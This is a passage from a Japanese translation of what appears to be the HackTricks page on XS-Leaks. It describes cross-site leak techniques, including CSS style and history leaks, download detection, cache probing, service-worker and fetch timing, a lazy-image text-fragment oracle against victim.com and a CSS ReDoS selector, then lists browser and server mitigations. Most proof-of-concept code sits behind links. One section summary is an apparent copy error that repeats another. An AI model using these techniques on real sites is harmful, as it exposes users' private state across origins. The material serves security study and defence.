* **含まれる方法**: HTML要素
|
||
* **検出可能な違い**: ページのコンテンツ
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
||
* **概要**: ユーザーの状態に応じてウェブサイトのスタイルを検出する。
|
||
* **コード例**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||
|
||
ウェブアプリケーションは、ユーザーの状態に応じて**ウェブサイトのスタイルを変更**する場合があります。クロスオリジンのCSSファイルは、**HTMLリンク要素**を使用して攻撃者のページに埋め込むことができ、**ルール**は攻撃者のページに**適用**されます。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの違いを**検出**することができます。\
|
||
漏洩技術として、攻撃者は`window.getComputedStyle`メソッドを使用して、特定のHTML要素のCSSプロパティを**読み取る**ことができます。結果として、影響を受ける要素とプロパティ名がわかっている場合、攻撃者は任意のCSSプロパティを読み取ることができます。
|
||
|
||
### CSS履歴
|
||
|
||
* **含まれる方法**: HTML要素
|
||
* **検出可能な違い**: ページのコンテンツ
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
|
||
* **概要**: `:visited`スタイルが適用されているURLを検出し、既に訪れたことを示す。
|
||
* **コード例**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
||
|
||
{% hint style="info" %}
|
||
[**こちら**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)によると、ヘッドレスChromeでは機能しないようです。
|
||
{% endhint %}
|
||
|
||
CSSの[`:visited`](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)セレクタを使用すると、訪れたURLに異なるスタイルを適用することができます。\
|
||
以前は、[`getComputedStyle()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)を使用してこの違いを検出することができましたが、現在のブラウザは常にリンクが訪れたものとして値を返し、セレクタを使用して適用できるスタイルを制限することでこれを防止しています。\
|
||
そのため、ユーザーにCSSが影響を与えた領域をクリックさせる必要がある場合があります。これは[`mix-blend-mode`](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)を使用して行うことができます。\
|
||
リンクを異なる色で描画するには時間がかかるため、レンダリングタイミングを悪用するなど、ユーザーの操作なしに行う方法もあります。\
|
||
クロミウムのレポートで提供されたPoCは、複数のリンクを使用して時間差を増やすことで機能します。
|
||
### ContentDocument X-Frame Leak
|
||
|
||
* **Inclusion Methods**: フレーム
|
||
* **Detectable Difference**: ヘッダー
|
||
* **詳細情報**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
||
* **概要**: GCでは、**X-Frame-Optionsにより、クロスオリジンページに埋め込むことが許可されていない場合、エラーページが表示されます**。
|
||
* **コード例**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||
|
||
Chromeでは、クロスオリジンページに埋め込むことが許可されていない場合、**X-Frame-Options（XFO）ヘッダーがdenyまたはsame-originに設定されているため、代わりにエラーページが表示されます**。オブジェクトの場合、このエラーページは`contentDocument`プロパティをチェックすることで**検出できます**。通常、このプロパティはnullを返しますが、クロスオリジンの埋め込みドキュメントへのアクセスは許可されていないため、**空のドキュメントオブジェクトが返されます**。これはiframesや他のブラウザでは機能しません。開発者はすべてのページにX-Frame-Optionsを設定するのを忘れることがあり、特にエラーページではこのヘッダーが欠落していることがよくあります。リーク技術として、攻撃者はこれをチェックすることで異なるユーザーステートを区別することができます。
|
||
|
||
### ダウンロードの検出
|
||
|
||
* **Inclusion Methods**: フレーム、ポップアップ
|
||
* **Detectable Difference**: ヘッダー
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
|
||
* **概要**: 攻撃者はiframesを使用してダウンロードを検出することができます。もしiframeがまだアクセス可能であれば、ファイルはダウンロードされたことになります。
|
||
* **コード例**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
||
|
||
`Content-Disposition`ヘッダー（[`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)）は、ブラウザがコンテンツをダウンロードするかインラインで表示するかを示します。
|
||
|
||
もしログイン済みのユーザーのみがファイルをダウンロードすることができるページにアクセスできる場合、ヘッダーを使用してその動作を検出することが可能です。
|
||
|
||
#### ダウンロードバー <a href="#download-bar" id="download-bar"></a>
|
||
|
||
Chromiumベースのブラウザでは、ファイルがダウンロードされると、ダウンロードプロセスのプレビューが**ブラウザウィンドウに統合された下部のバーに表示されます**。攻撃者は**ウィンドウの高さを監視することで**、「ダウンロードバー」が開かれたかどうかを検出することができます。
|
||
|
||
#### ダウンロードナビゲーション（iframesを使用） <a href="#download-navigation-with-iframes" id="download-navigation-with-iframes"></a>
|
||
|
||
[`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)ヘッダーの検出方法のもう一つは、**ナビゲーションが発生したかどうかをチェックすること**です。ページの読み込みがダウンロードを引き起こす場合、ナビゲーションはトリガーされず、**ウィンドウは同じオリジン内にとどまります**。
|
||
|
||
#### ダウンロードナビゲーション（iframesを使用しない） <a href="#download-navigation-without-iframes" id="download-navigation-without-iframes"></a>
|
||
|
||
前の方法と同じですが、iframesの代わりに`window.open`を使用します。
|
||
|
||
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
||
|
||
* **Inclusion Methods**: ポップアップ
|
||
* **Detectable Difference**: タイミング
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
|
||
* **概要**: 攻撃者はiframesを使用してダウンロードを検出することができます。もしiframeがまだアクセス可能であれば、ファイルはダウンロードされたことになります。
|
||
* **コード例**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722)（[https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)から）
|
||
|
||
{% hint style="warning" %}
|
||
この技術が興味深い理由: Chromeには現在、**キャッシュのパーティショニング**があり、新しく開かれたページのキャッシュキーは次のようになります: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`。しかし、ngrokページを開いてそこでfetchを使用すると、キャッシュキーは次のようになります: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`、**キャッシュキーが異なる**ため、キャッシュを共有することはできません。詳細はこちらで確認できます: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||
（[**ここ**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)のコメントより）
|
||
{% endhint %}
|
||
|
||
サイト`example.com`が`*.example.com/resource`からリソースを含む場合、そのリソースは直接**トップレベルのナビゲーションを通じてリクエストされた場合と同じキャッシュキー**を持ちます。これは、キャッシュへのアクセスがリソースの読み込みよりも速いため、ページの場所を変更し、20ms後にキャンセルすることを試みることが可能です。もし停止後にオリジンが変更された場合、リソースはキャッシュされていることを意味します。\
|
||
または、**キャッシュされている可能性のあるページにいくつかのfetchを送信し、かかる時間を計測する**こともできます。
|
||
|
||
### 手動リダイレクト <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||
|
||
* **Inclusion Methods**: Fetch API
|
||
* **Detectable Difference**: リダイレクト
|
||
* **詳細情報**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
|
||
* **概要**: fetchリクエストへの応答がリダイレクトであるかどうかを特定することが可能です。
|
||
* **コード例**:
|
||
|
||
.png>)
|
||
### AbortControllerを使用したFetch <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||
|
||
* **組み込み方法**: Fetch API
|
||
* **検出可能な違い**: タイミング
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||
* **概要**: リソースの読み込みを試み、読み込みが中断される前に中断することができます。エラーがトリガされるかどうかによって、リソースがキャッシュされたかどうかが判断できます。
|
||
* **コード例**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||
|
||
[**`AbortController`**](https://developer.mozilla.org/en-US/docs/Web/API/AbortController)は、_**fetch**_と_**setTimeout**_と組み合わせて使用することで、**リソースがキャッシュされているかどうかを検出**し、特定のリソースをブラウザキャッシュから削除することができます。この技術の素晴らしい特徴は、新しいコンテンツをキャッシュすることなくプロービングが行われることです。
|
||
|
||
### スクリプトの汚染
|
||
|
||
* **組み込み方法**: HTML要素（script）
|
||
* **検出可能な違い**: ページのコンテンツ
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||
* **概要**: クロスオリジンスクリプトがページに含まれている場合、その内容を直接読み取ることはできません。ただし、スクリプトが**組み込み関数を使用**している場合、それらを**上書き**して引数を読み取ることができ、貴重な情報が漏洩する可能性があります。
|
||
* **コード例**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||
|
||
### サービスワーカー <a href="#service-workers" id="service-workers"></a>
|
||
|
||
* **組み込み方法**: ポップアップ
|
||
* **検出可能な違い**: ページのコンテンツ
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
||
* **概要**: サービスワーカーを使用してウェブの実行時間を測定します。
|
||
* **コード例**:
|
||
|
||
1. 攻撃者は自分のドメイン（attacker.com）でサービスワーカーを登録します。
|
||
2. メインドキュメントで、攻撃者はターゲットのウェブサイトに対してナビゲーション（window.open）を発行し、サービスワーカーにタイマーを開始するように指示します。
|
||
3. 新しいウィンドウが読み込みを開始すると、攻撃者はステップ2で取得した参照をサービスワーカーが処理するページにナビゲートします。
|
||
4. ステップ3で実行されたリクエストがサービスワーカーに到着すると、204（コンテンツなし）のレスポンスを返し、ナビゲーションを中止します。
|
||
5. この時点で、サービスワーカーはステップ2で開始したタイマーから測定値を収集します。この測定値は、JavaScriptがナビゲーションをブロックした時間に影響を受けます。
|
||
|
||
{% hint style="warning" %}
|
||
実行タイミングでは、**ネットワーク要因**を**排除**して、**より正確な測定値**を得ることが可能です。たとえば、ページをロードする前にページで使用されるリソースをロードすることで実現できます。
|
||
{% endhint %}
|
||
|
||
### Fetchタイミング
|
||
|
||
* **組み込み方法**: Fetch API
|
||
* **検出可能な違い**: タイミング（一般的にはページのコンテンツ、ステータスコードによる）
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||
* **概要**: [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) APIを使用してリクエストの実行にかかる時間を測定することができます。他のクロックも使用できます。
|
||
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||
|
||
### クロスウィンドウタイミング
|
||
|
||
* **組み込み方法**: ポップアップ
|
||
* **検出可能な違い**: タイミング（一般的にはページのコンテンツ、ステータスコードによる）
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||
* **概要**: [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) APIを使用して、`window.open`を使用してリクエストの実行にかかる時間を測定することができます。他のクロックも使用できます。
|
||
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||
|
||
 (1) (2).png>)
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||
今すぐアクセスを取得してください：
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## HTMLまたは再インジェクションで
|
||
|
||
ここでは、HTMLによる**HTMLコンテンツのインジェクション**から情報を外部に流出させるための技術を見つけることができます。これらの技術は、何らかの理由でHTMLをインジェクションできるがJSコードをインジェクションできない場合に興味があります。
|
||
|
||
### ダングリングマークアップ
|
||
|
||
{% content-ref url="dangling-markup-html-scriptless-injection.md" %}
|
||
[dangling-markup-html-scriptless-injection.md](dangling-markup-html-scriptless-injection.md)
|
||
{% endcontent-ref %}
|
||
|
||
### 画像の遅延読み込み
|
||
|
||
もしコンテンツを**外部に流出**させる必要があり、**秘密の前にHTMLを追加**することができる場合、**一般的なダングリングマークアップの技術**をチェックしてください。\
|
||
ただし、何らかの理由で**文字ごとに**行う必要がある場合（たとえば、通信がキャッシュヒットを介して行われる場合）、このトリックを使用することができます。
|
||
|
||
HTMLの**画像**には、読み込み時に遅延するための「**loading**」属性があります。この場合、画像はページの読み込み中ではなく、表示されるときに読み込まれます：
|
||
```html
|
||
<img src=/something loading=lazy >
|
||
```
|
||
したがって、できることは、秘密の前にウェブページを埋めるために**大量のジャンク文字（例えば数千の「W」）を追加する**ことです。これにより、画像が最初にロードされないようにします。
|
||
|
||
ただし、ボットがページにアクセスするようにするために、以下のようなものを使用します。
|
||
```
|
||
#:~:text=SECR
|
||
```
|
||
ウェブページは次のようになります：**`https://victim.com/post.html#:~:text=SECR`**
|
||
|
||
post.htmlには、攻撃者の不要な文字と遅延読み込み画像が含まれ、その後にボットの秘密が追加されます。
|
||
|
||
このテキストは、ボットがテキスト`SECR`を含むページ内の任意のテキストにアクセスするようにします。そのテキストは秘密であり、**画像の直下にあるため、推測された秘密が正しい場合にのみ画像が読み込まれます**。したがって、文字ごとに秘密を**外部に漏洩**するためのオラクルができます。
|
||
|
||
これを悪用するためのいくつかのコード例：[https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||
|
||
**遅延読み込みを使用した別の例**はこちらで見つけることができます：
|
||
|
||
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
|
||
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
|
||
{% endcontent-ref %}
|
||
|
||
### ReDoS
|
||
|
||
{% content-ref url="regular-expression-denial-of-service-redos.md" %}
|
||
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
|
||
{% endcontent-ref %}
|
||
|
||
### CSS ReDoS
|
||
|
||
`jQuery(location.hash)`が使用されている場合、タイミングを利用して**HTMLコンテンツが存在するかどうか**を判断することができます。これは、セレクター`main[id='site-main']`が一致しない場合、残りの**セレクターをチェックする必要がない**ためです。
|
||
```javascript
|
||
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
|
||
```
|
||
### CSSインジェクション
|
||
|
||
{% content-ref url="xs-search/css-injection/" %}
|
||
[css-injection](xs-search/css-injection/)
|
||
{% endcontent-ref %}
|
||
|
||
## 防御策
|
||
|
||
このセクションでは、[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)で推奨されている一部の緩和策を見つけることができますが、[https://xsleaks.dev/](https://xsleaks.dev/)の各セクションにはさらに多くの緩和策があります。これらのテクニックに対する保護方法についての詳細情報は、そちらを参照してください。
|
||
|
||
### インクルージョンメソッドの緩和策
|
||
|
||
* **HTML要素**。**CORPヘッダーを使用してページがリソースを埋め込むことができるかどうかを制御**することができます。CORPは、same-originまたはsame-siteに設定することができ、それによってクロスオリジンまたはクロスサイトのリクエストをブロックします。**クライアント側**では、Chromiumベースのブラウザは**CORBアルゴリズム**を使用して、クロスオリジンリソースリクエストを許可するか拒否するかを決定します。
|
||
* **フレーム**。**iframe要素がHTMLリソースを読み込むのを防ぐ**ための主な防御策は、**X-Frame-Options**の使用です。また、**CSPディレクティブframe-ancestors**を使用することでも同様の結果を得ることができます。埋め込みが拒否されると、インクルージョンメソッドは応答の違いを検出できません。
|
||
* **ポップアップ**。`window.opener`へのアクセスを制限するために、**COOP HTTPレスポンスヘッダー**は3つの異なる値を定義します: unsafe-none（デフォルト）、same-origin-allow-popups、same-origin。これらの値を使用して、**ブラウジングタブとポップアップを分離**することができ、それによってポップアップに基づく情報漏洩のテクニックを緩和することができます。
|
||
* **JavaScriptリクエスト**。クロスオリジンのJavaScriptリクエストは、XS-Leak攻撃でよく使用されます。なぜなら、攻撃者は発行されたリクエストに対して細かい制御を持っているからです。ただし、これらのリクエストはCORSが有効になっていないため、スクリプトや画像などのHTML要素によって送信されるリクエストと同じ制限の対象となります。したがって、この情報漏洩のテクニックの影響は、CORPとCORBによっても**緩和**されることができます。
|
||
|
||
より一般的な方法:
|
||
|
||
* **Fetchメタデータ**。これらのリクエストヘッダーは、サーバーの所有者がユーザーのブラウザが特定のリクエストを引き起こした方法をよりよく理解するためのものです。Chromeでは、Sec-Fetch-\*ヘッダーが自動的に各リクエストに追加され、リクエストの起源に関するメタデータを提供します。たとえば、Sec-Fetch-Dest: imageは、画像要素からトリガーされました。Webアプリケーションは、その情報に基づいてリクエストをブロックすることを選択できます。
|
||
* **Same-Site Cookies**。Same-Siteクッキーフラグを使用すると、ウェブサイトはクッキーを同一サイトまたはファーストパーティのコンテキストに制限するかどうかを宣言できます。主要なブラウザはすべてSame-Siteクッキーをサポートしています。GCでは、属性のないクッキーはデフォルトでLaxになりました。XS-Leakでは、Same-Siteクッキーは情報漏洩の攻撃可能性を大幅に制限します。一方、**`window.open`に依存する情報漏洩のテクニックは`SameSite=Lax`でも機能します**。クライアントサイド証明書やHTTP認証など、**他の認証方法**を使用するウェブサイトは**依然として脆弱**です。
|
||
* **クロスオリジン識別子の非連結性（COIU）**。COIU、またはFirst-Party Isolation（FPI）としても知られるCOIUは、ユーザーがFFのエキスパート設定（about:config）で有効にできるオプションのセキュリティ機能であり、最初にTor Browserで導入されました。抽象的には、これは拡張された同一サイトコンテキストです。これにより、複数のリソース（Cookie、キャッシュ、クライアント側ストレージなど）が訪れたすべてのウェブサイトではなく、最初のパーティに**バインド**されます。有効にすると、COIUはポップアップを使用するメソッドのみがポリシーの最初のパーティの要件に合うようになるため、XS-Leakの適用範囲が大幅に減少します。
|
||
* **トラッキング保護**。Appleは、SAに**Intelligent Tracking Prevention（ITP）**というプライバシーメカニズムを実装し、クッキーや他のWeb APIの機能を制限することでクロスサイトトラッキングに対抗しています。SAの新しいバージョンでは、ITPはデフォルトですべてのサードパーティクッキーを例外なくブロックします\[74]。このブロックにより、ポップアップに基づかないすべての情報漏洩が防止されます。FFもEnhanced Tracking Prevention（ETP）で同様のアプローチを取りましたが、彼らはトラッキングプロバイダに属する特定のサードパーティクッキーのみをブロックします。XS-Leakの文脈では、ETPはこれらのトラッキングドメインをターゲットにした情報漏洩のテクニックを緩和します。
|
||
* **ブラウザ拡張機能**。セキュリティに気をつけているユーザーは、**ブラウザ拡張機能を使用して特定のインクルージョンメソッドを防止**することができます。
|
||
|
||
### 情報漏洩のテクニックの緩和策
|
||
|
||
* **イベントハンドラ**。この情報漏洩のテクニックに対する**最も効果的な緩和策は、すべてを拒否する**ことですが、これによりインターネット上のほとんどのウェブアプリケーションが機能しなくなります。したがって、**イベント内で収集できる必要な情報の数を減らす**ことを提案します。たとえば、CSP違反イベントは、blockedURIフィールドにリダイレクションのターゲットURLを含まないようにするべきです。この動作はFFと新しいバージョンのGCで実装されていますが、SAはまだ脆弱です。
|
||
* **エラーメッセージ**。情報漏洩のテクニックに基づくXS-Leakを緩和するためには、2つの主要な要件があります。まず、エラーメッセージには詳細な情報が含まれていない必要があります。これはイベントハンドラのメッセージと同様です。第二に、ブラウザはエラーメッセージの発生を**最小限に抑える必要があります**。SRIエラーやContentDocument XFO、Fetch RedirectなどのXS-Leakでは、エラーメッセージがスローされるかどうかを検出します。
|
||
* **グローバル制限**。グローバル制限を悪用する情報漏洩のテクニックを修正するのは比較的複雑です。なぜなら、それらは物理的な制約に依存しているからです。一般的な推奨事項は、**小規模なサ
|
||
## 参考文献
|
||
|
||
* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
|
||
* [https://xsleaks.dev/](https://xsleaks.dev)
|
||
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
|
||
* [https://xsinator.com/](https://xsinator.com/)
|
||
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ企業で働いていますか？** **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|
||
|
||
 (1) (2).png>)
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||
今すぐアクセスを取得：
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|